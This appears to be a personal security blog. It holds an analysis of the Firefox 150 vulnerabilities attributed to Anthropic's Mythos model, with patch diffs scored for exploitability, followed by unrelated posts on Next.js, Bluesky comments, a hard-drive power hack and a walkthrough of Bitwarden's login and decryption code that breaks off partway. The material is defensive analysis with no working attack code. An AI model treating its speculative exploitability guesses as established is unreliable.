Although it looks like a bold take, that may be true. But the public evidence does not support the strongest version of that claim, and unless you are working for one of the chosen (by Anthropic), it is not simple to figure out if these public claims are just marketing or if they are a real game changer.

The interesting question is not whether Mythos found bugs. It clearly did. The interesting question is what kind of bugs were found, how serious they were, and whether those findings actually change the balance between defenders and attackers.

I spent a few hours going through the Firefox commit history, advisory references, and linked bugs to get a better sense of what Mozilla's numbers really mean. This is not a full audit of every patch, but it is enough to form a more grounded view than the marketing cycle usually allows.

The claim

Mozilla reported that 271 vulnerabilities were identified in Firefox 150 associated with Mythos. At the same time, the Firefox 150 security advisory does not map that claim to a single clean list of 271 Firefox-only bug IDs. It contains many individual CVEs from different reporters, including at least three entries explicitly credited to Anthropic, as well as several aggregated "memory safety bugs" entries:

• CVE-2026-6746: Use-after-free in the DOM: Core & HTML component
• CVE-2026-6784: Memory safety bugs fixed in Firefox 150 and Thunderbird 150
• CVE-2026-6785: Memory safety bugs fixed in Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird ESR 140.10, Firefox 150 and Thunderbird 150
• CVE-2026-6786: Memory safety bugs fixed in Firefox ESR 140.10, Thunderbird ESR 140.10, Firefox 150 and Thunderbird 150

Those four entries alone link to hundreds of bugs. That should immediately make anyone cautious about reading the headline number too literally. A large AI-assisted cleanup campaign can still be important without every individual fix representing a directly exploitable, high-end vulnerability. The linked bug counts here are 1, 55, 154, and 107 respectively, which makes 317 in total. But that still should not be compared directly to Mozilla's "271 vulnerabilities identified" claim, because the aggregated CVE buckets also cover Thunderbird and ESR releases, not just Firefox 150.

There is also a basic accounting problem here: Mozilla's 271 figure, Bugzilla bug IDs, advisory CVEs, and individual commits are not the same unit. Publicly, you can reconstruct pieces of the picture, but not a single authoritative Firefox-only list that cleanly explains the 271 number. That does not mean Mozilla is wrong. It means outsiders should be careful not to over-interpret the advisory as if it were a perfect ledger of the claim.

What the data suggests

I vibecoded a small tool to group commits, bugs, CVEs, and touched subsystems as well as displaying some statistics. I also made a poor attempt at trying to score the bugs depending on keywords found, in order to prioritize which bugs would look like actually actionable. You can use it to quickly browse through commits, and even get my scripts sources at the end of the summary for reproducibility.

Even if you ignore the exact totals, the shape of the data is informative:

• Hundreds of commits and bug references are involved.
• The touched code is spread across major Firefox attack surface areas like dom, gfx, netwerk, js, layout.
• The patch set mixes obvious safety fixes, defensive cleanups, lifecycle hardening, API usage tightening, and some changes that look closer to real exploit primitives.
• As part of the CVEs, some patches seem to be not security related (e.g. avoiding null dereference) although relevant for the program stability.

That distinction matters. "Found a bug" is not the same statement as "found an exploitable vulnerability", and it is definitely not the same statement as "found a weaponizable chain component".

In browser exploitation, there is a wide spectrum between:

• a harmless correctness bug,
• a crash-only bug,
• a bug that creates a memory corruption primitive,
• and a bug that survives into a reliable exploit chain.

If you collapse that spectrum into a single headline number, you get attention, but you lose precision.

Stats between tags FIREFOX_BETA_149_END and FIREFOX_BETA_150_END

I'm using these tags as a rough release window, not as a precise Mythos boundary. That distinction matters. The stats below describe the Firefox 150 development interval broadly, and not a cleanly isolated set of Mythos-derived fixes. So they are useful for showing scale and patch distribution, but they should not be read as "these are the 271 Mythos vulnerabilities".

• Commits: 6,115
• Bug IDs: 3,209
• High-Priority Candidates: 252
• Bugs with (high) CVE: 301 (counting non-mythos CVEs as well)
• Commits with (high) CVE: 340
• Changed lines: 3,438,679
• Median lines / commit: 52
• Mean lines / commit: 562.34
• Largest patch: 480,735
• Commits with crashtest: 47

We can also notice that many commits associated with those bugs predate the Anthropic post by days or weeks, with an obvious pike on April 2. That is not surprising. Advisory aggregation happens late, and some fixes that end up grouped under a release CVE were clearly authored earlier, for example on March 5.

Are these "real vulnerabilities"?

This depends on the standard you care about.

If you are a defender, the answer is straightforward: yes, broadly speaking, many of these fixes matter. Memory-safety issues, lifetime mistakes, race conditions, incorrect ownership, and serialization problems are exactly the kinds of patterns that defenders want removed before an attacker gets to them. Even when a bug is not independently exploitable, it can still reduce safety margins or become useful when combined with another issue, think of e.g. a relative or arbitrary read primitive.

If you are thinking like an attacker, the bar is higher. A bug is only truly interesting if it buys leverage: control of memory, type confusion, privilege boundary crossing, sandbox escape, or something else that materially advances exploitation. By that standard, a lot of the published fixes look more like hardening and bug debt reduction than obvious exploit gold.

That is not a criticism. Hardening is good. But it is not the same thing as proving that a model is now outperforming top offensive researchers at finding high-value browser chains.

This brings me to the context of a vulnerability. For a defender, a vulnerability is a vulnerability regardless of its exploitability context. When it comes to browsers, there are attack surfaces hidden behind additional user interactions, or very specific setups, runtime options, and more, which would not be reliably actionable to weaponize a vulnerability. As an attacker, you would typically never spend effort on such surface.

What stands out in the patch set

A quick pass through the linked fixes shows several recurring categories:

• reference lifetime fixes,
• ownership and cleanup corrections,
• race-condition and async teardown fixes,
• bounds checks and integer handling,
• safer serialization and IPC handling,
• upstream library updates and vendor syncs.

Some of those are exactly where dangerous bugs come from. Others are better understood as preventative maintenance that happened to be triggered by large-scale automated review.

This is why one issue such as 2014596 for CVE-2026-6746 stands out more than the giant aggregate CVE buckets. A concrete use-after-free is easy to reason about as a potentially exploitable security issue. A long list of "memory safety bugs fixed" is directionally important, but analytically much weaker unless you inspect the individual bugs.

What Mythos seems good at

The strongest charitable reading of the Firefox 150 data is this:

Mythos appears to be very good at surfacing suspicious patterns at scale.

That is already valuable. A model that can find cleanup bugs, lifetime hazards, API misuse, unsafe assumptions, and latent memory-safety issues across a codebase the size of Firefox is useful even if only a fraction of those findings are directly exploitable. For a defensive team, that can translate into faster hardening, broader code review coverage, and less time wasted on manual triage. Publicly, that is the part that looks well supported.

This is probably the most important practical outcome. Security teams do not need a model to independently invent a full exploit chain for it to have significant value.

However, its value is not clear compared to other LLMs, if you tried yourself to run any model at finding bugs in a codebase, or even wrote your own agents, you most certainly are confident that it would warn you for most of the patterns found by Mythos. Take Google Big Sleep for instance, there is a chance it has been way more relevant than Mythos already, and there hasn't been such dramatical announcements.

What remains unproven

The offensive claim is much harder to support.

From the public evidence, we still do not know how many tokens, runs, and analyst-hours were required, how much human filtering was needed, how many findings were duplicates or low-value crashes, how Mythos compares to other strong models on the same targets, and how many of the fixed bugs would have materially mattered in a real exploit-development context.

I'm sure Mozilla did not even spend time to prove exploitability, nor did Mythos provide a PoC for them (although some commits include crashtests). Without knowing the actually exploitable bugs count, it is hard to call this a security revolution rather than a successful large-scale bug-mining campaign.

And the distinction is important because browser security is not measured by the number of bug fixes, it is measured by whether attackers lose meaningful capabilities. And that is not yet obvious here.

Defender relevance vs attacker relevance

This is where I currently land.

For defenders, Mythos looks relevant right now. Even if many of the findings are "just" stability issues, suspicious cleanup bugs, or latent memory-safety hazards, removing them improves the codebase and reduces future opportunity for attackers. However, I have doubts it would produce the similar results on what I think are more robusts codebases, and I am eager to find out if Mythos produce similar results on Apple Safari or Google Chrome. If I had to bet, I would say it won't :)

For attackers, the story is less convincing. Nothing in Mozilla's disclosure alone proves that Mythos has suddenly erased the usual offensive edge. If anything, the public evidence suggests that AI is currently easier to defend as broad hardening support than as proof of singular, decisive exploit discovery.

That is also why I would treat public attacker claims separately from Mozilla's numbers. For example, one team publicly stated that their RCE and sandbox escape chain was still alive after the release. That is not strong evidence by itself, but it is a useful reminder that "many fixes landed" is not the same statement as "the offensive problem is solved".

That may change. But this Firefox release does not prove it has changed already.

Conclusion

The Firefox 150 data suggests a tool that is genuinely useful for defensive security work, especially at scale, but the public record does not justify the strongest claims people want to make from it. The headline number is impressive, yet it bundles together bugs of very different significance and does not publicly resolve into a clean accounting.

So my current view is simple:

• as a defensive assistant, Mythos looks credible;
• as evidence of a dramatic offensive breakthrough, the Firefox case is still weak;
• and as usual with AI security announcements, the most interesting part is hidden in the operational details we do not get to see.

Stay safe out there, read through the lines, beware of the hype posts and don't fall for the narrative they want to push.

Appendix

Appendix A: Playing the game of "is it exploitable"

I gave a try myself at deciding if the bugs were relevant. It is a good exercise to do when willing to learn about an attack surface. Take my comments with mountains of salt.

Bug 2016901 - Fix potential race in NSSIOLayer. r=keeler

[...]
 nsSSLIOLayerHelpers::~nsSSLIOLayerHelpers() {
-  Preferences::RemoveObserver(this, "security.tls.version.fallback-limit");
-  Preferences::RemoveObserver(this, "security.tls.insecure_fallback_hosts");
+  // Pref observers must have been removed before destruction, since the
+  // destructor may run off the main thread.
+  MOZ_ASSERT(!mRegisteredPrefObservers,
+             "Pref observers should have been removed before destruction");
 }
[...]

This change suggests that the nsSSLIOLayerHelpers object may be deleted on a separate thread, while the nsSSLIOLayerHelpers::GlobalCleanup() is meant to run on the main thread. If true this possibly leads to a thread affinity bug as Preferences::RemoveObserver is meant to run on the main thread as well.

From afar, this sounds possibly exploitable, but hard to tell without inspecting the actual thread activity that happens with the Preferences class, raceability window, etc.

It seems GlobalCleanup is only called for when Firefox is shutdown, in which case that means we would have to keep a TLS socket open while the user closes the browser, making it obviously not weaponizable.

• Exploitability: Maybe
• Context: Unrealistic

Bug 2014435 - Don't copy mOpts in MediaEngineFakeVideoSource::CreateFrom. r=padenot

diff --git a/dom/media/webrtc/MediaEngineFake.cpp b/dom/media/webrtc/MediaEngineFake.cpp
index f59c37f0587aa..8123aa05e55a0 100644
--- a/dom/media/webrtc/MediaEngineFake.cpp
+++ b/dom/media/webrtc/MediaEngineFake.cpp
@@ -151,7 +151,6 @@ MediaEngineFakeVideoSource::CreateFrom(
     const MediaEngineFakeVideoSource* aSource) {
   auto src = MakeRefPtr<MediaEngineFakeVideoSource>();
   *static_cast<MediaTrackSettings*>(src->mSettings) = *aSource->mSettings;
-  src->mOpts = aSource->mOpts;
   return src.forget();
 }

The MediaEngineFakeVideoSource is a fake video source that can be used when doing tests with webrtc when one does not have an actual camera to plug into the source feed. The patch is very simple: when cloning the video source, it does not copy the original source options, which is a per-instance stale data. This copy is not useful as the video sources options are meant to be initialized during allocation later on. However, if the source is used without going through the Allocate path later on, this could be a problem. I consider aSource not freed as the copy on mSettings was kept, thus it seems it would only contain options previously allocated through a normal path.

I feel like if this leads to memory corruption, it would easily be found by fuzzing the MediaDevices API.

• Exploitability: Low
• Context: Realistic

Bug 2023302 - null check mResponseHead when calling ClearHeaders r=necko-reviewers,jesup

This commit adds null checks before calling methods on a pointer.

• Exploitability: None
• Context: N/A

Bug 2022051. r=bvisness.

diff --git a/js/src/wasm/WasmIonCompile.cpp b/js/src/wasm/WasmIonCompile.cpp
index 0e0df7c0eef77..19d78084d452d 100644
--- a/js/src/wasm/WasmIonCompile.cpp
+++ b/js/src/wasm/WasmIonCompile.cpp
@@ -5544,7 +5544,8 @@ class FunctionCompiler {
     MInstruction* dstData = MWasmLoadField::New(
         alloc(), dstArrayObject, nullptr, WasmArrayObject::offsetOfData(),
         mozilla::Nothing(), MIRType::WasmArrayData, MWideningOp::None,
-        AliasSet::Load(AliasSet::WasmArrayDataPointer));
+        AliasSet::Load(AliasSet::WasmArrayDataPointer),
+        mozilla::Some(trapSiteDesc()));
     if (!dstData) {
       return false;
     }
@@ -5553,7 +5554,8 @@ class FunctionCompiler {
     MInstruction* srcData = MWasmLoadField::New(
         alloc(), srcArrayObject, nullptr, WasmArrayObject::offsetOfData(),
         mozilla::Nothing(), MIRType::WasmArrayData, MWideningOp::None,
-        AliasSet::Load(AliasSet::WasmArrayDataPointer));
+        AliasSet::Load(AliasSet::WasmArrayDataPointer),
+        mozilla::Some(trapSiteDesc()));
     if (!srcData) {
       return false;
     }

I don't know enough about SpiderMonkey's JIT to tell if that would be exploitable or not.

Before this commit, the two loads were created as plain movable field loads. In MWasmLoadField, that means “no trap metadata” and the instruction is treated as movable; with trap metadata present, it becomes a guard instead (js/src/jit/MIR-wasm.h:2754). That matters because wasm field loads from object pointers can fault on null, and the backend uses maybeTrap() to attach the correct wasm trap site to the emitted faulting instruction (js/src/jit/Lowering.cpp:8731, js/src/jit/CodeGenerator.cpp:10684).

I'll let you decide.

• Exploitability: ?
• Context: Realistic

Appendix B: Complete commit list where bugs are associated to a CVE, sorted per component

TL;DR

1. Get LLVM from https://github.com/llvm/llvm-project/releases and extract it
2. Run gn gen with the following arguments is_debug=true target_os="linux" target_cpu="arm64" v8_enable_temporal_support=false enable_rust=false clang_base_path="/home/user/Downloads/LLVM-21.1.0-rc2-Linux-ARM64" clang_use_chrome_plugins=false

curl https://github.com/llvm/llvm-project/releases/download/llvmorg-21.1.0-rc2/LLVM-21.1.0-rc2-Linux-ARM64.tar.xz -o /home/user/Downloads/LLVM-21.1.0-rc2-Linux-ARM64.tar.xz
cd /home/user/Downloads && tar xvf LLVM-21.1.0-rc2-Linux-ARM64.tar.xz
cd /home/user/v8/v8
gn gen out/debug --args='is_debug=true target_os="linux" target_cpu="arm64" v8_enable_temporal_support=false enable_rust=false clang_base_path="/home/user/Downloads/LLVM-21.1.0-rc2-Linux-ARM64" clang_use_chrome_plugins=false'
ninja -C out/debug d8

On my Qemu VM with 8 cores and 16GB RAM the compilation took around 32 minutes. Road to 0x41414141?

So as it happens once in a while I was thinking that the current way my blog was built was not satisfying to me. Indeed, I first had a homemade solution to generate HTML from Markdown files, that I then switched to the Zola static site engine, in hope of easing the process. But still, I felt like Zola forced me to do things I didn't agree with, and I still had to hack my way around to do what I wanted. So, what technologies should I use for my new blog? Probably I should reinvent the wheel and make my own solution using Python. And if I ever need my blog not to be static I can add some Flask to it. No, let's take this as an opportunity to try the modern web technologies. According to internet research, job offers and social medias, the true web developer should use modern technologies such as React, Vue.js, Svelte, or what else. But the true cool kid should use Next.js, there is apparently no debate on that. Indeed, many well known big companies use it, as you can see on their showcase page: https://nextjs.org/showcase.

For those not aware, Next.js is a React framework which eases web application development process. Some of its selling points are speed, scalability, SEO-friendliness, Server Side Rendering (SSR) and/or Static Site Generation (SSG).

First impressions

After a few hours of development and reading documentation and looking up for weird errors, my blog generation was rewritten properly. Regarding the development process I have to say that React components makes it really easy to reuse code around. Of course I would use TailwindCSS to style my website because that's what modern people do, no questions asked, and likewise it eases the process of fighting with CSS. If you just use the classes exposed to you (and of course have a basic understanding of CSS) it seems like things could not go wrong, and makes the development process faster. Put all of that in Next.js and I now have a website that I can either serve using Next.js server, or even just export as a static website. However, since I am more of a "low level" programmer, I was wondering about the impact of these technologies on the size and speed of websites. Since everybody uses it, it must be fine, right? Right? (Anakin and Padme meme) While I used to have no JavaScript on my previous blog, now you will have to download hundreds of KBytes of JavaScript.

Google PageSpeed Insights

To measure the efficiency of my new website, I will use Google's https://pagespeed.web.dev/ which will crawl my website and provide information regarding the rendering process of it. Here is the first result I got:

Including this advice:

Avoid serving legacy JavaScript to modern browsers (Est savings of 12 KiB)
Polyfills and transforms enable legacy browsers to use new JavaScript features. However, many aren't necessary for modern browsers. Consider modifying your JavaScript build process to not transpile Baseline features, unless you know you must support legacy browsers. Learn why most sites can deploy ES6+ code without transpiling

If my understanding is right, Next.js provides a way for old browsers to handle new browsers API. But apparently while it should provide it only to old browsers, it seems even modern browsers download this useless extra JavaScript. I did not dig too much into it.

But wait a minute, what is a typical Next.js website result on PageSpeed? Let's take a look at the official Next.js website, and the company working on it Vercel:

You can take a look at the results yourself:

• https://pagespeed.web.dev/analysis/https-nextjs-org/16zo3xdaa4?form_factor=mobile
• https://pagespeed.web.dev/analysis/https-vercel-com/u748nusk00?form_factor=mobile

Frankly, this is quite hilarious. I wish I had checked this first before switching my blog to it, although nextjs.org has a better "Speed Index" than me and I have no clue why.

To be completely honest, the results are likely bad because of the first load. Once all the JS is downloaded the whole website should be much faster. But still, it hurts my heart a bit. However if you have tips or knowledge to share regarding that topic, feel free to educate me, that's appreciated!

Next.js, is it that good?

Random caching issues

Next.js comes in with a development server that you can run using npm run dev. That's pretty cool because it will inject a hot-reload script to your pages, and display server and client stack traces in your browser, so that helps with development. But sometimes you will bump into an error that quite doesn't make sense regarding your current changes, but restarting the dev server fixes it. You could spend hours trying to understand the bug until you realise it is just a stupid caching issue. Not so great.

Debugging hell

This is not related to Next.js only, more to the whole Node.js ecosystem I think, but around half of the time the stack traces are useless due to the bundling of things. You will get stacktraces full of compressed JavaScript which are in no way helpful, because all functions and variables names are modified, good luck with that. It has happened to me with the development server, and I could not find a way to have a clean stacktrace, I just revert my changes until it works.

Dependencies hell (1)

Of course when starting a Next.js project, it prompts you if you want to use TypeScript over JavaScript, and as a sane person you would of course agree to this because typing is good. But sooner or later, you have to fight with the TypeScript compiler. But the worst kind of fight, is when your dependencies are not written in TypeScript and make the compiler unhappy themselves. Here is an example where I try to use the negotiator module, but there is no type definition for it.

Type error: Could not find a declaration file for module 'negotiator'. '/work/xark.es/node_modules/negotiator/index.js' implicitly has an 'any' type.
  Try `npm i --save-dev @types/negotiator` if it exists or add a new declaration (.d.ts) file containing `declare module 'negotiator';`

  1 | import { match } from '@formatjs/intl-localematcher'
> 2 | import Negotiator from 'negotiator'
    |                        ^

So what, do I have to read this module code and guess the type myself, add an explicit cast to any? Should I just ditch TypeScript and move all my project to JavaScript again? Surely none of this, I will just add a // @ts-ignore comment above the line, as I would add an unsafe {} block to my Rust code, and everybody's happy.

Dependencies hell (2)

If you add a dependency to your project that depends on a different version of React as your current version of Next.js, I noticed various things could go wrong.

1. It will not warn you about it (I never ever got any warning from npm stating versions mismatch)
2. It may ship the whole out-of-date module (here React), resulting in a 1MB bundle for your new 200 LoC dependency (I don't know if this is a general thing or if it is an issue with the package itself)
3. It will yield runtime errors

Finally, all errors are fixed. Of course bleeding edge modern web technologies never fail to disappoint and greet you with a NaN somewhere. Peak state of the art.

The aftermath

Do I regret switching my website to Next.js? Yes because now it is bloated and I hate bloat. No because I learned things along the way, and still managed to complete my initial task which was getting a better control of my blog. So I:

• Learned more about Node.js environment
• Learned how to use React and how it helps frontend development
• Learned how to use TailwindCSS
• Learned how to deploy a Node.js app (although cool kids don't really do that, they just use a hosting provider like Vercel and let the magic happen)
• Got rid of the limitations of my previous blog generator
• Downloaded almost 300 Node modules to… generate a static website (du -h node_modules | tail -n1 returns 403M node_modules)
• Added some hundreds of KB of more or less useful Javascript to my website (mostly useless if you want my opinion)
• Got the ability to handle a conversation about web technologies with the cool kids

I am not disappointed in this journey, I am still convinced the web is really a mess. For sure there are tradeoffs to be made between ease of development and performance. But it seems to me the latter has really been neglected.

Recently I saw this post from Emily Liu (former Bluesky employee) and I found it amazing. Thanks to what an open network brings, it is possible to fetch posts from Bluesky directly on the client side, using the atproto libraries.

I always wondered if I wanted to implement comments handling on my website, if I should use some third party service to handle it for me, with high chances they are hostile, slow or bad for privacy. I wondered if I should implement it myself. Well, finding this post clearly made up my mind: I don't have to do anything, let's just use those Bluesky posts as comments here.

What is amazing with Bluesky saying it is "open" is that you do not even need an API key to fetch its content, you just fetch it. Although I don't have many readers, it should make it easier for people to find the "original" Bluesky post talking about this blog post, and it adds some interactivity to my blog!

How to implement?

Well there are many ways to do it yourself, mainly if you are using React for your website you can simply do npm install bluesky-comments and that's pretty much it. Here are some more references of people implementing it:

• https://graysky.app/blog/2024-02-05-adding-blog-comments
• https://www.coryzue.com/writing/bluesky-comments/

Is it future proof?

Honestly, I don't know much about the ATProtocol that Bluesky relies on. It is still under development and has its own flaws. One question I could not even answer myself is what happens to your account if its PDS shuts down or deletes its data?

There are other alternatives like Mastodon or ActivityPub which also try to make decentralized social network platforms/protocols, and they may be more successful on the long term. But I haven't looked into it, so I don't have any opinion on that topic.

So, I do not know if this is future proof, but who cares you have to live, and as of today, I will fetch comments from Bluesky. I may or may not change my mind :)

So what do you think? Try it!

My typical hard drives are 3.5 inches disks which require both 5V and 12V as power input, hence why most adapters will provide a USB input to do the data transfer and an extra power plug for the 12V. Things would be easier with 2.5" drives (either mechanical or SSD) as they can be powered only with the 5V from USB.

The issue I've been facing was that when the laptop finished copying data and went to sleep, the hard drive would still be powered, and the only way to turn it off is to manually switch the power button on the disk adapter… how convenient for an automated backup solution.

This was unacceptable, and I could not understand why would anyone power on the disk plugged to the adapter if no USB was connected to it. It is still a mystery, but I quickly thought I could easily hack it to only turn on the 12V power when there is any activity on the USB port (i.e. when the laptop is powered on!). That's how my quest to replace a physical toggle switch into an automated solution on a budget started.

Scrapping

I did not want to buy any component online, just scrap any transistor from whatever card I had and do something with it. And so it began, I found an old motherboard dead due to a lightning strike power surge many years ago, identified some transistors that seemed usable from their datasheet online (i.e. have proper input voltages and V(GS)) and started unsoldering it:

Did I forget to mention I only have a basic soldering iron and a cheap desoldering pump with me? You can see it's pretty much a failure, so I decided to take things in hands:

Thanks to my dear friend Dremel, it took me only a few minutes to get things ready.

Soldering it together

Here is a basic schema of the adapter card. The important thing here is that the hardware switch is physically very accessible, but on the schema it is located before the load.

I wanted first to simply replace the switch itself with a transistor, but in my case I only had an N MOSFET P75N02LDG. Thanks to this discussion, I figured out it would not be possible to do so with a transistor placed before the charge, and wouldn't be able to make a high side switch.

So I needed to do place the transistor after the load, and use it as a low side switch, resulting in the following schema:

This sounded harder than simply replacing the switch with an already available plug, as I would need to find the place where all components go to ground and make it go through my transistor. The only way I found was to desolder the power plug and place my transistor between the board ground and the power plug negative socket.

Now the transistor's gate G (red) is soldered to the USB 5V, the drain D (green) is soldered to the card "ground" after all load, and the source S (yellow) is soldered to the power plug negative side. I also added a resistor between the gate and the source in order to make sure it deactivates when there is no more power on the USB side. Below is the final result:

Voilà, now my hard drive turns off and on at the same time as my laptop! I'm pretty sure there were better alternatives, however I'm glad I could do what I wanted with what I had!

References:

• https://oscarliang.com/how-to-use-mosfet-beginner-tutorial/#:~:text=For%20an%20N%2Dchannel%20MOSFET,Source%20and%20Drain%20than%20expected.
• https://electronics.stackexchange.com/questions/676148/n-channel-as-high-side-switch-is-always-on/676150#676150

Another reason is that Bitwarden is open-source and can be self-hosted, and since I enjoy losing time configuring my own infrastructure and wondering when my hard drive will die and if I made enough backups, I decided to use it for the past months.

I never took a glance at the implementation of Bitwarden but as my personal laptop is still my 9 year-old Lenovo X250, things around me are sometimes a bit laggy. I like when things are fast (when it comes to computers obviously) and the UIs I use responsive (as in fast). My current annoyances when it comes to the official Bitwarden client are the following:

• It's not very fast ie. when starting the process I have to wait ~5 seconds before being prompted for my password (I solely blame the desktop client to be a Chromium browser running a JavaScript app)
• Navigation is not so easy with a keyboard only

When searching for an alternative desktop client on the web I found that some people were asking for it but there is actually none available. As an exercise and because I was wondering about the required effort to write a similar App using no web technologies, I started to dig into the source code in order to make a prototype implementation.

Diving in Bitwarden source code

So, how hard can it be to review a JavaScript application when I spend most of my days reading C++? Surely it did not sound worse to me but I was very wrong. The review I am doing below is based on f0673dd16e1d5784c66b8fabae3121fb725ac028 as of June 29th 2024. The code base contains the source code for the following:

• Web client
• Desktop clients (Windows, MacOS, Linux)
• Browser extension
• CLI client

The clients communicates with the server using the server REST API (using HTTP and JSON).

Login mechanism

The most simple login method is the password authentication which is implemented in libs/auth/src/common/login-strategies/password-login.strategy.ts

override async logIn(credentials: PasswordLoginCredentials) {
    const { email, masterPassword, captchaToken, twoFactor } = credentials;

    const data = new PasswordLoginStrategyData();
    data.masterKey = await this.loginStrategyService.makePreloginKey(masterPassword, email);
    data.userEnteredEmail = email;

    // Hash the password early (before authentication) so we don't persist it in memory in plaintext
    data.localMasterKeyHash = await this.cryptoService.hashMasterKey(
      masterPassword,
      data.masterKey,
      HashPurpose.LocalAuthorization,
    );
    const serverMasterKeyHash = await this.cryptoService.hashMasterKey(
      masterPassword,
      data.masterKey,
    );

    data.tokenRequest = new PasswordTokenRequest(
      email,
      serverMasterKeyHash,
      captchaToken,
      await this.buildTwoFactor(twoFactor, email),
      await this.buildDeviceRequest(),
    );

    this.cache.next(data);

    const [authResult, identityResponse] = await this.startLogIn();

	// [snip]

  protected async startLogIn(): Promise<[AuthResult, IdentityResponse]> {
    await this.twoFactorService.clearSelectedProvider();

    const tokenRequest = this.cache.value.tokenRequest;
    const response = await this.apiService.postIdentityToken(tokenRequest);

    if (response instanceof IdentityTwoFactorResponse) {
      return [await this.processTwoFactorResponse(response), response];
    } else if (response instanceof IdentityCaptchaResponse) {
      return [await this.processCaptchaResponse(response), response];
    } else if (response instanceof IdentityTokenResponse) {
      return [await this.processTokenResponse(response), response];
    }

    throw new Error("Invalid response object.");
  }

From the above code what I learned is we have the following:

• masterKey derivated from password and email
• localMasterKeyHash derivated from password and masterKey
• serverMasterKeyHash derivated from password and masterKey
• tokenRequest is generated from email and serverMasterKeyHash and passed to startLogIn through cache.next() which makes it really not obvious
• startLogIn will use tokenRequest to log in to the server

As a first analysis we can see that things are really unclear and some things seem odd. Let's adjust our understanding and let's find out how the masterKey is derivated finding makePreloginKey. Grep is a really good friend when it comes to navigating the code base, because there are so many levels of abstractions that it's not obvious where the code would be. Here we find one implementation in libs/auth/src/common/services/login-strategies/login-strategy.service.ts#L240

async makePreloginKey(masterPassword: string, email: string): Promise<MasterKey> {
    email = email.trim().toLowerCase();
    let kdfConfig: KdfConfig = null;
    try {
      const preloginResponse = await this.apiService.postPrelogin(new PreloginRequest(email));
      if (preloginResponse != null) {
        kdfConfig =
          preloginResponse.kdf === KdfType.PBKDF2_SHA256
            ? new PBKDF2KdfConfig(preloginResponse.kdfIterations)
            : new Argon2KdfConfig(
                preloginResponse.kdfIterations,
                preloginResponse.kdfMemory,
                preloginResponse.kdfParallelism,
              );
      }
    } catch (e) {
      if (e == null || e.statusCode !== 404) {
        throw e;
      }
    }
    return await this.cryptoService.makeMasterKey(masterPassword, email, kdfConfig);
  }

In fact this method will do another POST request to the server in order to retrieve more information:

• The Key Derivation Function (KDF)
• The KDF iterations count

Already I feel a bit puzzled as I was expecting makePreloginKey to… make a pre login key. Not another HTTP request. Eventually it will give me that key, but in terms of software readability, this is odd. Let's dig more and find the implementation of makeMasterKey: libs/common/src/platform/services/crypto.service.ts#L257

  /**
   * Derive a master key from a password and email.
   *
   * @remarks
   * Does not validate the kdf config to ensure it satisfies the minimum requirements for the given kdf type.
   * TODO: Move to MasterPasswordService
   */
  async makeMasterKey(password: string, email: string, KdfConfig: KdfConfig): Promise<MasterKey> {
    return (await this.keyGenerationService.deriveKeyFromPassword(
      password,
      email,
      KdfConfig,
    )) as MasterKey;
  }

Let's dig more: libs/common/src/platform/services/key-generation.service.ts#L40

  async deriveKeyFromPassword(
    password: string | Uint8Array,
    salt: string | Uint8Array,
    kdfConfig: KdfConfig,
  ): Promise<SymmetricCryptoKey> {
    let key: Uint8Array = null;
    if (kdfConfig.kdfType == null || kdfConfig.kdfType === KdfType.PBKDF2_SHA256) {
      if (kdfConfig.iterations == null) {
        kdfConfig.iterations = PBKDF2KdfConfig.ITERATIONS.defaultValue;
      }

      key = await this.cryptoFunctionService.pbkdf2(password, salt, "sha256", kdfConfig.iterations);
    } else if (kdfConfig.kdfType == KdfType.Argon2id) {
      if (kdfConfig.iterations == null) {
        kdfConfig.iterations = Argon2KdfConfig.ITERATIONS.defaultValue;
      }

      if (kdfConfig.memory == null) {
        kdfConfig.memory = Argon2KdfConfig.MEMORY.defaultValue;
      }

      if (kdfConfig.parallelism == null) {
        kdfConfig.parallelism = Argon2KdfConfig.PARALLELISM.defaultValue;
      }

      const saltHash = await this.cryptoFunctionService.hash(salt, "sha256");
      key = await this.cryptoFunctionService.argon2(
        password,
        saltHash,
        kdfConfig.iterations,
        kdfConfig.memory * 1024, // convert to KiB from MiB
        kdfConfig.parallelism,
      );
    } else {
      throw new Error("Unknown Kdf.");
    }
    return new SymmetricCryptoKey(key);
  }

Finally, we can be confident the masterKey will be derivated from the master password using the email and either Argon2d or PBKDF2 as a KDF. Let's jump directly to startLogIn and see what data is sent to the server.

1. Calling postIdentityToken with tokenRequest libs/common/src/services/api.service.ts#L190
2. Data is extracted using toIdentityToken from PasswordTokenRequest libs/common/src/auth/models/request/identity-token/password-token.request.ts#L20
3. .. which sets the password field to masterPasswordHash which is in fact serverPasswordHash computed earlier.

Recap:

1. User password is hashed with a KDF
2. serverPasswordHash is computed from previous hash
3. Hash is sent to server to validate authentication

The mechanism is very simple and yet not that easy to read from the code source. Also, we still have no idea what localPasswordHash is used for.

Database decryption

Now that we know how the master password is sent to the server, let's see how passwords are decrypted. I will not quote all the code as previously as it is too heavy to read but rather just point out the interesting parts.

1. The server answers with an access_token valid for a certain amount of time that allows us to authenticate to read or write entries, and a key parameter, among many other. They are stored using the IdentityTokenResponse structure libs/common/src/auth/models/response/identity-token.response.ts#L28
2. The key is decrypted using a stretched masterKey libs/common/src/auth/services/master-password/master-password.service.ts#L181
3. The client initiates a GET request on /api/sync to pull the whole database. libs/common/src/platform/sync/default-sync.service.ts#L119
4. The data is read and synchronized locally into cipherServices libs/common/src/platform/sync/default-sync.service.ts#L303 using yet another data structure named CipherData
5. Then I assume the view will load the cipher and decrypt it libs/angular/src/vault/components/view.component.ts#L131
6. The decryption key is retrieved with again more unclear code (the StateProvider MASTER_KEY field was set earlier during login and it corresponds to what we called masterKey - remember how this.cache.value was set).
7. Then decrypt is called libs/common/src/vault/models/domain/cipher.ts#L126
8. Another more specific decrypt is called libs/common/src/vault/models/domain/login.ts#L53
9. Which calls a more specific decryptObj function libs/common/src/platform/models/domain/domain-base.ts#L49 which is hard to read due to a lot of messy JavaScript syntax
10. It should end up calling EncString.decrypt libs/common/src/platform/models/domain/enc-string.ts#L154 (was it parsed from JSON here libs/common/src/vault/models/domain/cipher.ts#L265 ?)
11. Eventually everything relies on decryptToUtf8 libs/common/src/platform/services/cryptography/encrypt.service.implementation.ts#L66
12. It will do some AES-CBC and decrypt the content

Note that the answer from step 2 is in the following form:

{
  "Ciphers": [
    {
      "Attachments": null,
      "Card": null,
      "CollectionIds": [],
      "CreationDate": "2024-06-09T16:35:15.038251Z",
      "Data": {
        "Fields": null,
